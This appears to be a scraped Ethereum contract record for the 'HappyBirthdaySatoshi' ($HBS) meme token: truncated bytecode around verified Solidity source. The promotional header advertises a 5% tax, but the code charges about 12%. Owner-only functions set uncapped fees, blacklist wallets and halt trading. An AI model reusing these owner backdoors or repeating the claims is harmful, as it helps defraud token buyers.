fffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c5ea01860539bbe08a46e819a91e5c3a10f45bdcce9bf3be5481e99473164e7264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,704
0x64044f6367935524cdb9f663390239c5ad3300aa
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ /** */ /** HAPPY BIRTHDAY SATOSHI ($HBS) On april 5th, 1975, a legend was born. Today, we celebrate Satoshi Nakamoto by delivering him a 100x moonshot play on ERC20. L iquidity will be locked and Ownership will be renounced upon launch. A bunch of marketing and shilling will commence + a website will be out shortly after launch as well. Buy/Sell tax 5% Marketing 2% Reflection 3% LP 2% Development Fee Telegram: https://t.me/HappyBirthdaySatoshiNakamoto */ /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HappyBirthdaySatoshi is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "HappyBirthdaySatoshi"; string private constant _symbol = "HBS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xdc2cb9740532dABbB47Eb7F4876754AecD2Dd7a6); address payable private _marketingAddress = payable(0xdc2cb9740532dABbB47Eb7F4876754AecD2Dd7a6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104b957600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027d57806318160ddd146102b557806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611968565b610604565b005b34801561020a57600080fd5b50604080518082019091526014815273486170707942697274686461795361746f73686960601b60208201525b6040516102449190611a2d565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611a82565b6106a3565b6040519015158152602001610244565b34801561028957600080fd5b5060145461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50670de0b6b3a76400005b604051908152602001610244565b3480156102e657600080fd5b5061026d6102f5366004611aae565b6106ba565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610244565b34801561033857600080fd5b5060155461029d906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611aef565b610723565b34801561037857600080fd5b506101fc610387366004611b1c565b61076e565b34801561039857600080fd5b506101fc6107b6565b3480156103ad57600080fd5b506102cc6103bc366004611aef565b610801565b3480156103cd57600080fd5b506101fc610823565b3480156103e257600080fd5b506101fc6103f1366004611b37565b610897565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611aef565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029d565b34801561046357600080fd5b506101fc610472366004611b1c565b6108c6565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b5060408051808201909152600381526248425360e81b6020820152610237565b3480156104c557600080fd5b506101fc6104d4366004611b37565b61090e565b3480156104e557600080fd5b506101fc6104f4366004611b50565b61093d565b34801561050557600080fd5b5061026d610514366004611a82565b61097b565b34801561052557600080fd5b5061026d610534366004611aef565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610988565b34801561056a57600080fd5b506101fc610579366004611b82565b6109dc565b34801561058a57600080fd5b506102cc610599366004611c06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611b37565b610a7d565b3480156105f057600080fd5b506101fc6105ff366004611aef565b610aac565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611c3f565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611c74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611ca0565b91505061063a565b5050565b60006106b0338484610b96565b5060015b92915050565b60006106c7848484610cba565b610719843361071485604051806060016040528060288152602001611dba602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f6565b610b96565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107eb57506013546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe81611230565b50565b6001600160a01b0381166000908152600260205260408120546106b49061126a565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161062e90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161062e90611c3f565b601655565b6000546001600160a01b031633146108f05760405162461bcd60e51b815260040161062e90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161062e90611c3f565b601855565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161062e90611c3f565b600893909355600a91909155600955600b55565b60006106b0338484610cba565b6012546001600160a01b0316336001600160a01b031614806109bd57506013546001600160a01b0316336001600160a01b0316145b6109c657600080fd5b60006109d130610801565b90506107fe816112ee565b6000546001600160a01b03163314610a065760405162461bcd60e51b815260040161062e90611c3f565b60005b82811015610a77578160056000868685818110610a2857610a28611c74565b9050602002016020810190610a3d9190611aef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6f81611ca0565b915050610a09565b50505050565b6000546001600160a01b03163314610aa75760405162461bcd60e51b815260040161062e90611c3f565b601755565b6000546001600160a01b03163314610ad65760405162461bcd60e51b815260040161062e90611c3f565b6001600160a01b038116610b3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610de25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610e0e57506000546001600160a01b03838116911614155b156110ef57601554600160a01b900460ff16610ea7576000546001600160a01b03848116911614610ea75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b601654811115610ef95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3b57506001600160a01b03821660009081526010602052604090205460ff16155b610f935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6015546001600160a01b038381169116146110185760175481610fb584610801565b610fbf9190611cbb565b106110185760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b600061102330610801565b60185460165491925082101590821061103c5760165491505b8080156110535750601554600160a81b900460ff16155b801561106d57506015546001600160a01b03868116911614155b80156110825750601554600160b01b900460ff165b80156110a757506001600160a01b03851660009081526005602052604090205460ff16155b80156110cc57506001600160a01b03841660009081526005602052604090205460ff16155b156110ec576110da826112ee565b4780156110ea576110ea47611230565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113157506001600160a01b03831660009081526005602052604090205460ff165b8061116357506015546001600160a01b0385811691161480159061116357506015546001600160a01b03848116911614155b15611170575060006111ea565b6015546001600160a01b03858116911614801561119b57506014546001600160a01b03848116911614155b156111ad57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d857506014546001600160a01b03858116911614155b156111ea57600a54600c55600b54600d555b610a7784848484611477565b6000818484111561121a5760405162461bcd60e51b815260040161062e9190611a2d565b5060006112278486611cd3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156112d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b60006112db6114a5565b90506112e783826114c8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133657611336611c74565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611cea565b816001815181106113d5576113d5611c74565b6001600160a01b0392831660209182029290920101526014546113fb9130911684610b96565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611434908590600090869030904290600401611d07565b600060405180830381600087803b15801561144e57600080fd5b505af1158015611462573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114845761148461150a565b61148f848484611538565b80610a7757610a77600e54600c55600f54600d55565b60008060006114b261162f565b90925090506114c182826114c8565b9250505090565b60006112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600c5415801561151a5750600d54155b1561152157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154a8761169d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157c90876116fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ab908661173c565b6001600160a01b0389166000908152600260205260409020556115cd8161179b565b6115d784836117e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164a82826114c8565b82101561166657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116905760405162461bcd60e51b815260040161062e9190611a2d565b5060006112278486611d78565b60008060008060008060008060006116ba8a600c54600d54611809565b92509250925060006116ca6114a5565b905060008060006116dd8e87878761185e565b919e509c509a509598509396509194505050505091939550919395565b60006112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f6565b6000806117498385611cbb565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b60006117a56114a5565b905060006117b383836118ae565b306000908152600260205260409020549091506117d0908261173c565b30600090815260026020526040902055505050565b6006546117f290836116fa565b600655600754611802908261173c565b6007555050565b6000808080611823606461181d89896118ae565b906114c8565b90506000611836606461181d8a896118ae565b9050600061184e826118488b866116fa565b906116fa565b9992985090965090945050505050565b600080808061186d88866118ae565b9050600061187b88876118ae565b9050600061188988886118ae565b9050600061189b8261184886866116fa565b939b939a50919850919650505050505050565b6000826118bd575060006106b4565b60006118c98385611d9a565b9050826118d68583611d78565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fe57600080fd5b803561196381611943565b919050565b6000602080838503121561197b57600080fd5b823567ffffffffffffffff8082111561199357600080fd5b818501915085601f8301126119a757600080fd5b8135818111156119b9576119b961192d565b8060051b604051601f19603f830116810181811085821117156119de576119de61192d565b6040529182528482019250838101850191888311156119fc57600080fd5b938501935b82851015611a2157611a1285611958565b84529385019392850192611a01565b98975050505050505050565b600060208083528351808285015260005b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9557600080fd5b8235611aa081611943565b946020939093013593505050565b600080600060608486031215611ac357600080fd5b8335611ace81611943565b92506020840135611ade81611943565b929592945050506040919091013590565b600060208284031215611b0157600080fd5b81356112e781611943565b8035801515811461196357600080fd5b600060208284031215611b2e57600080fd5b6112e782611b0c565b600060208284031215611b4957600080fd5b5035919050565b60008060008060808587031215611b6657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9757600080fd5b833567ffffffffffffffff80821115611baf57600080fd5b818601915086601f830112611bc357600080fd5b813581811115611bd257600080fd5b8760208260051b8501011115611be757600080fd5b602092830195509350611bfd9186019050611b0c565b90509250925092565b60008060408385031215611c1957600080